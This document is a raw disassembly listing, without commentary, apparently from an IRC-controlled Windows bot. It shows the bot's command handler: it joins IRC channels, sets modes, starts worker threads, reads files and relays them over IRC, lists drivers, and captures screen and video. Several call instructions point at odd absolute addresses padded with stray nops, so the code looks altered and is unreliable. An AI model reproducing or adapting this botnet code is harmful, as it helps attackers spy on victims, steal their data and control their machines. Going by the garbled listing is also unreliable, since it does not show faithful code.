		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F4
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D44
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4A
; ---------------------------------------------------------------------------


loc_412D44:				; CODE XREF: sub_40EE72+3EBCj
		mov	[ebp+var_570], ebx


loc_412D4A:				; CODE XREF: sub_40EE72+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D64
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6A
; ---------------------------------------------------------------------------


loc_412D64:				; CODE XREF: sub_40EE72+3EE1j
		mov	[ebp+var_574], ebx


loc_412D6A:				; CODE XREF: sub_40EE72+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_430FFC
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412E18


loc_412E02:				; CODE XREF: sub_40EE72+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A62
		push	32h
		call	near ptr 2630F90h
		nop
		jmp	short loc_412E02
; ---------------------------------------------------------------------------


loc_412E18:				; CODE XREF: sub_40EE72+3F8Ej
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset unk_430FB0
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412E29:				; CODE XREF: sub_40EE72+3E4Ej
		push	offset unk_430F5C
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_412E33:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBC
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 2630F90h


loc_412EBC:				; CODE XREF: sub_40EE72+4034j
		push	offset dword_430F28
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412ED0:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F8F
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10


loc_412F4E:				; DATA XREF: ___:off_42DE40o
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_430EF8
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_412F8F:				; CODE XREF: sub_40EE72+40A3j
		push	offset dword_430EB4
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_412F99:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430EAC
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h


loc_412FB6:				; CODE XREF: sub_40EE72+41AEj
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47


loc_412FD0:				; CODE XREF: sub_40EE72+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633


loc_412FF4:				; CODE XREF: sub_40EE72+4469j
					; sub_40EE72+5D44j
		add	esp, 0Ch
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_412FFC:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_430EA0
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB6
; ---------------------------------------------------------------------------


loc_413022:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E98
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_430E6C
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_41308E:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130BF
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430E64
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_4130BF:				; CODE XREF: sub_40EE72+4236j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E38
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413113:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_430E0C
		jmp	loc_4132D6
; ---------------------------------------------------------------------------


loc_413181:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_430DD4
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_4131BB:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_432D78
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_430DC8
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 2630F90h
		nop
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_430DA4
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_413224:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4315C0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_430D78
		jmp	short loc_4132D6
; ---------------------------------------------------------------------------


loc_41328A:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_430D4C


loc_4132D6:				; CODE XREF: sub_40EE72+4217j
					; sub_40EE72+429Cj ...
		call	sub_40BFE1
		jmp	loc_412FF4
; ---------------------------------------------------------------------------


loc_4132E0:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_430D20
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_413312:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F47
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B6
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41339E
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_430F4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_430CEC
		push	eax
		call	sub_4172B0
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_41339E:				; CODE XREF: sub_40EE72+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_430CAC
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_4133B6:				; CODE XREF: sub_40EE72+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430C84
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_413400:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413463
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413450
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_413449
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430C40
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_413463
; ---------------------------------------------------------------------------


loc_413449:				; CODE XREF: sub_40EE72+45B8j
		push	offset dword_430C04
		jmp	short loc_413455
; ---------------------------------------------------------------------------


loc_413450:				; CODE XREF: sub_40EE72+45A6j
		push	offset dword_430BBC


loc_413455:				; CODE XREF: sub_40EE72+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_413463:				; CODE XREF: sub_40EE72+459Dj
					; sub_40EE72+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FA
		mov	[ebp+arg_0], ebx


loc_41347B:				; CODE XREF: sub_40EE72+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADC8
		test	eax, eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_430B80
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h


loc_4134DE:				; CODE XREF: sub_40EE72+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347B
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B4C
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4134FA:				; CODE XREF: sub_40EE72+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A0
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358D
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358D
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358D
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413586
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_430B08
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_4135A0
; ---------------------------------------------------------------------------


loc_413586:				; CODE XREF: sub_40EE72+46F5j
		push	offset dword_430AC4
		jmp	short loc_413592
; ---------------------------------------------------------------------------


loc_41358D:				; CODE XREF: sub_40EE72+46A4j
					; sub_40EE72+46ADj ...
		push	offset dword_430A7C


loc_413592:				; CODE XREF: sub_40EE72+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4135A0:				; CODE XREF: sub_40EE72+4697j
					; sub_40EE72+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A62
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_413639
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_413639
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_413639
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_413639
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41362F
		push	[ebp+arg_18]
		push	offset dword_430A38
		jmp	loc_411888
; ---------------------------------------------------------------------------


loc_41362F:				; CODE XREF: sub_40EE72+47AEj
		push	offset dword_4309E8
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413639:				; CODE XREF: sub_40EE72+474Fj
					; sub_40EE72+475Dj ...
		push	offset dword_43099C
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413643:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136BE
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch


loc_41366C:				; CODE XREF: sub_40EE72+4829j
		test	eax, eax
		jz	short loc_41369D
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366C
; ---------------------------------------------------------------------------


loc_41369D:				; CODE XREF: sub_40EE72+47FCj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_430968
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------


loc_4136BE:				; CODE XREF: sub_40EE72+47E2j
		push	edi
		push	offset dword_430938
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4136C9:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_413709
		push	offset dword_4308FC
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413709:				; CODE XREF: sub_40EE72+488Bj
		push	esi
		push	offset dword_4308D4
		jmp	loc_414AB4
; ---------------------------------------------------------------------------


loc_413714:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413745
		push	offset unk_4308A8
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_413745:				; CODE XREF: sub_40EE72+48C7j
		push	offset dword_43087C
		jmp	loc_413A54
; ---------------------------------------------------------------------------


loc_41374F:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_41377E
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_41377E:				; CODE XREF: sub_40EE72+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430854
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		call	near ptr 26A0C0Ah
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41381F


loc_413809:				; CODE XREF: sub_40EE72+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC3
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_413809
; ---------------------------------------------------------------------------


loc_41381F:				; CODE XREF: sub_40EE72+4995j
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset unk_430808
		jmp	loc_414AB4
; ---------------------------------------------------------------------------


loc_413830:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_4307E4
		jmp	loc_414F40
; ---------------------------------------------------------------------------


loc_41384E:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4307B0
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0C0Ah
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_413927


loc_413911:				; CODE XREF: sub_40EE72+4AB3j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2630F90h
		jmp	short loc_413911
; ---------------------------------------------------------------------------


loc_413927:				; CODE XREF: sub_40EE72+4A9Dj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_432C80
		jmp	loc_414E02
; ---------------------------------------------------------------------------


loc_413938:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		nop
		call	near ptr 27E0D27h
		test	eax, eax
		jz	short loc_413962
		push	edi
		push	offset dword_430784
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------


loc_413962:				; CODE XREF: sub_40EE72+4ACFj
		push	offset dword_43112C
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414564
; ---------------------------------------------------------------------------


loc_413973:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415419
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413990
		push	offset unk_43074C
		jmp	short loc_413995
; ---------------------------------------------------------------------------


loc_413990:				; CODE XREF: sub_40EE72+4B15j
		push	offset unk_430708


loc_413995:				; CODE XREF: sub_40EE72+4B1Cj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_4139CE:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41518A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F0
		push	offset unk_4306D4
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139F0:				; CODE XREF: sub_40EE72+4B72j
		push	offset unk_430694
		jmp	loc_4110B1
; ---------------------------------------------------------------------------


loc_4139FA:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A34
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43AD50
		cmp	eax, ebx
		jz	short loc_413A4F
		push	dword ptr [eax]


loc_413A1D:				; CODE XREF: sub_40EE72+4BDBj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_430668
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_413A62
; ---------------------------------------------------------------------------


loc_413A34:				; CODE XREF: sub_40EE72+4B95j
		push	edi
		call	dword_43AE1C
		cmp	eax, ebx
		jz	short loc_413A4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43AE24
		push	eax
		jmp	short loc_413A1D
; ---------------------------------------------------------------------------


loc_413A4F:				; CODE XREF: sub_40EE72+4BA7j
					; sub_40EE72+4BCBj
		push	offset dword_430630


loc_413A54:				; CODE XREF: sub_40EE72+3E2Dj
					; sub_40EE72+3FBCj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_413A62:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B35j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC3
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------


loc_413A8C:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_4305FC
